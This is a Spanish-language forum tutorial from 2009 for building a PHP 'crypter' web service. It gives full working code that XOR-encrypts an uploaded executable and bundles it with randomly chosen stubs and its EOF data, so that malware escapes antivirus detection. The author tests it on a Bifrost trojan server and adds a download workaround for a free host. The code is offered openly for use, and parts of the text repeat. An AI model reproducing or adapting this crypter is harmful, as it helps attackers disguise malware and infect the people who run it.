Tutorial Creacion de Crypter Online v2 EOF y Stub aleatorio
Publicado: 06 Sep 2009, 04:39
Antes de nada recomiendo leer y comprender el anterior tutorial foro/viewtopic.php?f=8&t=13129.
En este solo voy a explicar como funciona el soporte EOF y como funcionan los stub aleatorios. (En cuanto tenga el dreamweaver pongo todo explicado con imagenes)
Bueno vamos a explicar los cambios que le he añadido al crypter:
- Multi stub (3 stubs, no les he hecho muchos cambios eso os lo dejo a vosotros ) que se eligen de forma aleatoria
- Sopote EOF
- Muestra en el index de la ultima actualizacion
y alguna cosilla mas.
Bien, pues vamos a explicar las partes añadidas:
index.php
configuracion.php

funciones.php
crypter.php
Bien pues para probar subo un servidor del bifrost.

Detecta que tiene EOF pero... ¿Funcionara de verdad?

Funciona de pm , solo quedaria el registro, pero con que cojais cualquier ejemplo de internet vale, pero bueno estoy haciendo uno con sistema "premium" (o vip como quereis llamarlo).
Contraseña: indetectables.net
---------------------------- Solucion a 000webhost ----------------------------
Bueno pues no se porque pero 000webhost no te deja descargar un ejecutable directamente, asique tendremos que realizar un pequeño "ajuste".
Vamos a crear un archivo llamado descargar.php, en el mismo directorio donde esten los archivo
Saludos
En este solo voy a explicar como funciona el soporte EOF y como funcionan los stub aleatorios. (En cuanto tenga el dreamweaver pongo todo explicado con imagenes)
Bueno vamos a explicar los cambios que le he añadido al crypter:
- Multi stub (3 stubs, no les he hecho muchos cambios eso os lo dejo a vosotros ) que se eligen de forma aleatoria
- Sopote EOF
- Muestra en el index de la ultima actualizacion
y alguna cosilla mas.
Bien, pues vamos a explicar las partes añadidas:
index.php
Añade la posibilidad de mostar la fecha en la cual se ha modificado.index.php escribió:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[Enlace externo eliminado para invitados]">
<html xmlns="[Enlace externo eliminado para invitados]">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Crypter Online by Sod v2</title>
</head>
<form action="crypter.php" method="post" enctype="multipart/form-data" class="Estilo1">
<table width="291" border="0">
<tr>
<td width="151">Archivo:
<br />
<br />
</td>
<td width="151"><input name="archivo" type="file" id="archivo" size="25" /></td>
</tr>
<tr>
<td colspan="2">
<div align="center">
<input type="submit" value="Subir" />
</div></td>
</tr>
</table>
</form>
<?php
include('configuracion.php');
echo "Fecha ultima actualizacion: ".$fecha_actualizacion;
?>
</body>
</html>
configuracion.php
Se añade un array en el que estan el nombre de los stubs, clave a usar y el split (que como podeis leer en los comentario podeis quitar si quereis) y la variable $fecha_actualizacion que saldra en la pagina principalconfiguracion.php escribió: <?php
/* Tutorial Creacion Crypter Online v2 by sod
para www.indetectables.net */
/* Para no tener que modificar todo lo demas cambiando todas las variables
y para no tener que obligar a todo el mundo a tener que usar 3 stubs,
simplemente lo que hacemos es asignar el contenido del array a las variables anteriores
*/
$nombre_stub_array = array( array('stub1.exe', '##$$##', 'ZXCVBNMASDFGHJKL'), //Primer array
array('stub2.exe', '$$##$$', 'CSDFVBNMAGHJZXKL'), //Segundo array
array('stub3.exe', '$#$$#$', 'BNMCZXSDFVJKLAGH'));//Tercer array
shuffle($nombre_stub_array); //Cambia de orden los elementos del array de manera aleatoria
$nombre_stub = $nombre_stub_array[0][0];
$split_stub = $nombre_stub_array[0][1];
$clave_encriptacion = $nombre_stub_array[0][2];
/* Si solo quieres usar un stub, borra la parte de arriba y deja solo esto
recuerda no borrar <?php, porque si no no funcionara
$nombre_stub = 'stub.exe';
$split_stub = '##$$##'; // He usado lo mismo para el split y para la clave, no es obligatirio
$clave_encriptacion = 'ZXCVBNMASDFGHJKL';
*/
$version_stub = '1.1';
$nombre_final_archivo_encriptado = "encriptado".rand().".exe";
$fecha_actualizacion = '06/09/2009';
?>

funciones.php
Se le añade la funcion EOFfunciones.php escribió: <?php
/* Tutorial Creacion Crypter Online v2 by sod
para www.indetectables.net */
#Funcion para facilitar la lectura de de un archivo
function Leer($nombre){
$handle = fopen($nombre, "rb");
$contenido = fread($handle, filesize($nombre));
fclose($handle);
return $contenido;
}
#Funcion para facilitar la creacion de de un archivo
function Crear($nombre, $contenido){
$handle = fopen($nombre, "w+b");
fwrite($handle, $contenido);
fclose($handle);
}
#Encriptacion XOR
function XOREncryption($InputString, $KeyPhrase){
$KeyPhraseLength = strlen($KeyPhrase);
// Loop trough input string
for ($i = 0; $i < strlen($InputString); $i++){
// Get key phrase character position
$rPos = $i % $KeyPhraseLength;
// Magic happens here:
$r = ord($InputString[$i]) ^ ord($KeyPhrase[$rPos]);
// Replace characters
$InputString[$i] = chr($r);
}
return $InputString;
}
#Funcion para obtener EOF
function EOF($datos){
/*
Autor original: enzym
Nombre: ReadEOFData/WriteEOFData by enzym
URL: [Enlace externo eliminado para invitados] ... ction.html
Traducido a php: Sod
*/
# 0 --> [Guardamos el texto que buscaremos para encontrar el EOF] //En base64, lo hago asi para que no salgan "cuadrados extraños" xD
$cadena = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
# 0.1 --> [Le "quitamos" la codificacion en base64]
$cadena = base64_decode($cadena);
# 1 --> [Damos la vuelta]
$datos = strrev($datos);
# 2 --> [Buscamos "$cadena" en el ejecutable]
$posicion = strpos($datos, $cadena);
# 2.1 --> [Si nos devuelve 0 esque no tiene EOF, y devolvemos 0]
if ($posicion == 0){
return FALSE;
}
# 3 --> [Extraemos lo que se encuentra entre el 0 y el numero que nos de "$posicion"] // Porque hay esta el EOF
$eof = substr($datos, 0, $posicion);
# 3.1 --> [Y le damos la vuelta de nuevo para dejarlo como tiene que estar];
$eof = strrev($eof);
# 4 --> [Y listo devolvemos el EOF]
return $eof;
}
?>
crypter.php
El solo detecta si tiene eof y si lo tiene lo añade.<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[Enlace externo eliminado para invitados]">
<html xmlns="[Enlace externo eliminado para invitados]">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Crypter Online by Sod</title>
</head>
<?php
/* Tutorial Creacion Crypter Online v2 by sod
para www.indetectables.net */
error_reporting(0); // No mostramos ni un error
include('funciones.php'); //Incluimos las funciones (Abrir, Crear, Encriptacion XOR,...)
include('configuracion.php'); //Incluimos el archivo de las configuraciones
//Esto seria parte del upload
//(te recomiendo leerte algun tutorial)
$archivo_peso = $_FILES["archivo"]["size"]; //Peso del Archivo que subimos
$archivo_temporal = $_FILES["archivo"]["tmp_name"]; //Nombre temporal
if ($archivo_peso != 0){ //Si el tamaño es mas grande de cero, hacemos todo
$archivo = Leer($archivo_temporal); //Leemos el archivo a encriptar
$EOFDATA = EOF($archivo);
$archivo_encriptado = XOREncryption($archivo, $clave_encriptacion); //Encriptamos el archivo
$stub = Leer($nombre_stub); //Leemos el stub
//Creamos el archivo de la forma stub + firma + archivo encriptado + firma
//Esto varia segun el crypter
if (!$EOFDATA){
$archivo_a_guardar = $stub.$split_stub.$archivo_encriptado.$split_stub;
echo "EOF no detectado<br>";
Crear($nombre_final_archivo_encriptado, $archivo_a_guardar);
} else{
echo "EOF detectado<br>";
$archivo_a_guardar = $stub.$split_stub.$archivo_encriptado.$split_stub.$EOFDATA;
Crear($nombre_final_archivo_encriptado, $archivo_a_guardar);
}
echo "Encriptado correctamente :) <a href=$nombre_final_archivo_encriptado>$nombre_final_archivo_encriptado</a>";
echo "<br> Stub usado: $nombre_stub"; //Es para saber que funciona bien no tienes porque dejarlo
}else{
echo "Error al subir :(";
}
?>
</body>
</html>
Bien pues para probar subo un servidor del bifrost.

Detecta que tiene EOF pero... ¿Funcionara de verdad?

Funciona de pm , solo quedaria el registro, pero con que cojais cualquier ejemplo de internet vale, pero bueno estoy haciendo uno con sistema "premium" (o vip como quereis llamarlo).
Contraseña: indetectables.net
---------------------------- Solucion a 000webhost ----------------------------
Bueno pues no se porque pero 000webhost no te deja descargar un ejecutable directamente, asique tendremos que realizar un pequeño "ajuste".
Vamos a crear un archivo llamado descargar.php, en el mismo directorio donde esten los archivo
Una vez tenemos el archivo creado vamos a abrir el archivo crypter.php y buscamos esto:descargar.php escribió: <?php
// Credits : jonasjohn //Codigo original
// Para usarlo descargar.php?id=XXXX -> XXXX es el nombre del archivo
$id = $_GET['id'];
if(strpos($id,"/")!==false){ //Leve seguridad para evitar que se robe cualquier archivo de otro directorio.
die("No puedes navegar por otros directorios");
}
if(file_exists($id) && is_file($id)) {
// send headers
header('Cache-control: private');
header('Content-Type: application/octet-stream');
header('Content-Length: '.filesize($id));
header('Content-Disposition: filename='.$id);
// flush content
flush();
$file = fopen($id, "rb");
// send the file to the browser
print fread ($file, filesize($id));
// close file stream
fclose($file);
} else {
die('<center> El archivo <strong>"'.$id.'"</strong> no existe, tu ip: '.$_SERVER[REMOTE_ADDR].' a sido almacenada'); //Mentira y gorda, pero algunos se acojonan xD
}
?>
y lo dejamos de esta manera:echo "Encriptado correctamente :) <a href=$nombre_final_archivo_encriptado>$nombre_final_archivo_encriptado</a>";
Y ya funciona correctamenteecho "Encriptado correctamente :) <a href=descargar.php?id=$nombre_final_archivo_encriptado>$nombre_final_archivo_encriptado</a>";
Saludos